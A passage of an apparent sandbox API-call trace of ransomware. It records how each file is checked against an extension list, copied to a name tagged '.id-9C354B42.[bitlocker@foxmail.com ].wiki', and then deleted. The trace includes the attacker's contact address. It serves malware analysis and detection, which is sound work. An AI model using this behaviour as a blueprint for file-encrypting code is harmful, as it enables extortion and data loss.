(lpString=".1cd") returned 4 [0195.139] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0195.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.139] lstrlenW (lpString=".jpg") returned 4 [0195.139] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0195.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.139] lstrlenW (lpString=".doc") returned 4 [0195.139] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0195.139] lstrlenW (lpString=".docx") returned 5 [0195.139] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0195.139] lstrlenW (lpString=".pdf") returned 4 [0195.139] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0195.139] lstrlenW (lpString=".xls") returned 4 [0195.139] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0195.140] lstrlenW (lpString=".xlsx") returned 5 [0195.140] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0195.140] lstrlenW (lpString=".ppt") returned 4 [0195.140] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0195.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.140] lstrlenW (lpString=".zip") returned 4 [0195.140] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0195.140] lstrlenW (lpString=".rar") returned 4 [0195.140] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0195.140] lstrlenW (lpString=".bz2") returned 4 [0195.140] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0195.140] lstrlenW (lpString=".7z") returned 3 [0195.140] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0195.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.140] lstrlenW (lpString=".dbf") returned 4 [0195.140] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0195.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.140] lstrlenW (lpString=".1cd") returned 4 [0195.140] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0195.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.140] lstrlenW (lpString=".jpg") returned 4 [0195.140] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0195.140] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0195.140] lstrlenW (lpString="MSCONV97.DLL") returned 12 [0195.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.141] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=146808) returned 1 [0195.141] CloseHandle (hObject=0x218) returned 1 [0195.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll")) returned 0x20 [0195.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.141] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.141] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.144] GetLastError () returned 0x0 [0195.144] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x23d78, lpOverlapped=0x0) returned 1 [0195.352] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x23d80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x23d80, lpOverlapped=0x0) returned 1 [0195.355] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.355] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.355] SetEndOfFile (hFile=0x1e4) returned 1 [0195.355] CloseHandle (hObject=0x1e4) returned 1 [0195.355] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.355] SetEndOfFile (hFile=0x218) returned 1 [0195.357] CloseHandle (hObject=0x218) returned 1 [0195.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.357] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll")) returned 1 [0195.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.357] lstrlenW (lpString=".doc") returned 4 [0195.357] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0195.357] lstrlenW (lpString=".docx") returned 5 [0195.357] lstrcmpiW (lpString1=".docx", lpString2="7.DLL") returned -1 [0195.357] lstrlenW (lpString=".pdf") returned 4 [0195.357] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0195.357] lstrlenW (lpString=".xls") returned 4 [0195.357] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0195.357] lstrlenW (lpString=".xlsx") returned 5 [0195.357] lstrcmpiW (lpString1=".xlsx", lpString2="7.DLL") returned -1 [0195.358] lstrlenW (lpString=".ppt") returned 4 [0195.358] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0195.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.358] lstrlenW (lpString=".zip") returned 4 [0195.358] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0195.358] lstrlenW (lpString=".rar") returned 4 [0195.358] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0195.358] lstrlenW (lpString=".bz2") returned 4 [0195.358] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0195.358] lstrlenW (lpString=".7z") returned 3 [0195.358] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.358] lstrlenW (lpString=".dbf") returned 4 [0195.358] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0195.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.358] lstrlenW (lpString=".1cd") returned 4 [0195.358] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0195.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.358] lstrlenW (lpString=".jpg") returned 4 [0195.358] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0195.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.358] lstrlenW (lpString=".doc") returned 4 [0195.358] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0195.358] lstrlenW (lpString=".docx") returned 5 [0195.358] lstrcmpiW (lpString1=".docx", lpString2="7.DLL") returned -1 [0195.358] lstrlenW (lpString=".pdf") returned 4 [0195.358] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0195.358] lstrlenW (lpString=".xls") returned 4 [0195.358] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0195.358] lstrlenW (lpString=".xlsx") returned 5 [0195.358] lstrcmpiW (lpString1=".xlsx", lpString2="7.DLL") returned -1 [0195.358] lstrlenW (lpString=".ppt") returned 4 [0195.359] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0195.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.359] lstrlenW (lpString=".zip") returned 4 [0195.359] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0195.359] lstrlenW (lpString=".rar") returned 4 [0195.359] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0195.359] lstrlenW (lpString=".bz2") returned 4 [0195.359] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0195.359] lstrlenW (lpString=".7z") returned 3 [0195.359] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.359] lstrlenW (lpString=".dbf") returned 4 [0195.359] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0195.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.359] lstrlenW (lpString=".1cd") returned 4 [0195.359] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0195.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0195.359] lstrlenW (lpString=".jpg") returned 4 [0195.359] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0195.359] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0195.359] lstrlenW (lpString="AFTRNOON.INF") returned 12 [0195.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0196.166] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=555) returned 1 [0196.166] CloseHandle (hObject=0x1f4) returned 1 [0196.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf")) returned 0x20 [0196.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0196.167] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.167] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0196.167] GetLastError () returned 0x0 [0196.167] ReadFile (in: hFile=0x1f4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x22b, lpOverlapped=0x0) returned 1 [0196.168] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x230, lpOverlapped=0x0) returned 1 [0196.169] ReadFile (in: hFile=0x1f4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.169] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.169] SetEndOfFile (hFile=0x1d0) returned 1 [0196.169] CloseHandle (hObject=0x1d0) returned 1 [0196.169] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.169] SetEndOfFile (hFile=0x1f4) returned 1 [0196.170] CloseHandle (hObject=0x1f4) returned 1 [0196.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.170] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf")) returned 1 [0196.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.171] lstrlenW (lpString=".doc") returned 4 [0196.171] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0196.171] lstrlenW (lpString=".docx") returned 5 [0196.171] lstrcmpiW (lpString1=".docx", lpString2="N.INF") returned -1 [0196.171] lstrlenW (lpString=".pdf") returned 4 [0196.171] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0196.171] lstrlenW (lpString=".xls") returned 4 [0196.171] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0196.171] lstrlenW (lpString=".xlsx") returned 5 [0196.171] lstrcmpiW (lpString1=".xlsx", lpString2="N.INF") returned -1 [0196.171] lstrlenW (lpString=".ppt") returned 4 [0196.171] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0196.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.171] lstrlenW (lpString=".zip") returned 4 [0196.171] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0196.171] lstrlenW (lpString=".rar") returned 4 [0196.171] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0196.171] lstrlenW (lpString=".bz2") returned 4 [0196.171] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0196.171] lstrlenW (lpString=".7z") returned 3 [0196.171] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0196.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.171] lstrlenW (lpString=".dbf") returned 4 [0196.171] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0196.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.171] lstrlenW (lpString=".1cd") returned 4 [0196.172] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0196.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.172] lstrlenW (lpString=".jpg") returned 4 [0196.172] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0196.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.172] lstrlenW (lpString=".doc") returned 4 [0196.172] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0196.172] lstrlenW (lpString=".docx") returned 5 [0196.172] lstrcmpiW (lpString1=".docx", lpString2="N.INF") returned -1 [0196.172] lstrlenW (lpString=".pdf") returned 4 [0196.172] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0196.172] lstrlenW (lpString=".xls") returned 4 [0196.172] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0196.172] lstrlenW (lpString=".xlsx") returned 5 [0196.172] lstrcmpiW (lpString1=".xlsx", lpString2="N.INF") returned -1 [0196.172] lstrlenW (lpString=".ppt") returned 4 [0196.172] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0196.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.172] lstrlenW (lpString=".zip") returned 4 [0196.172] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0196.172] lstrlenW (lpString=".rar") returned 4 [0196.172] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0196.172] lstrlenW (lpString=".bz2") returned 4 [0196.172] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0196.172] lstrlenW (lpString=".7z") returned 3 [0196.172] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0196.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.172] lstrlenW (lpString=".dbf") returned 4 [0196.172] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0196.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.173] lstrlenW (lpString=".1cd") returned 4 [0196.173] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0196.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0196.173] lstrlenW (lpString=".jpg") returned 4 [0196.173] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0196.173] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0196.173] lstrlenW (lpString="AXIS.ELM") returned 8 [0196.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0197.026] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=100798) returned 1 [0197.026] CloseHandle (hObject=0x1e4) returned 1 [0197.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm")) returned 0x20 [0197.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0197.027] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.027] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0197.307] GetLastError () returned 0x0 [0197.307] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x189be, lpOverlapped=0x0) returned 1 [0197.320] WriteFile (in: hFile=0x17c, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x189c0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x189c0, lpOverlapped=0x0) returned 1 [0197.323] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.323] WriteFile (in: hFile=0x17c, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0197.323] SetEndOfFile (hFile=0x17c) returned 1 [0197.323] CloseHandle (hObject=0x17c) returned 1 [0197.324] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.324] SetEndOfFile (hFile=0x1e4) returned 1 [0197.325] CloseHandle (hObject=0x1e4) returned 1 [0197.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.325] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm")) returned 1 [0197.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.325] lstrlenW (lpString=".doc") returned 4 [0197.325] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0197.325] lstrlenW (lpString=".docx") returned 5 [0197.326] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0197.326] lstrlenW (lpString=".pdf") returned 4 [0197.326] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0197.326] lstrlenW (lpString=".xls") returned 4 [0197.326] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0197.326] lstrlenW (lpString=".xlsx") returned 5 [0197.326] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0197.326] lstrlenW (lpString=".ppt") returned 4 [0197.326] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0197.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.326] lstrlenW (lpString=".zip") returned 4 [0197.326] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0197.326] lstrlenW (lpString=".rar") returned 4 [0197.326] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0197.326] lstrlenW (lpString=".bz2") returned 4 [0197.326] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0197.326] lstrlenW (lpString=".7z") returned 3 [0197.326] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0197.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.326] lstrlenW (lpString=".dbf") returned 4 [0197.326] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0197.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.326] lstrlenW (lpString=".1cd") returned 4 [0197.326] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0197.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.326] lstrlenW (lpString=".jpg") returned 4 [0197.326] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0197.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 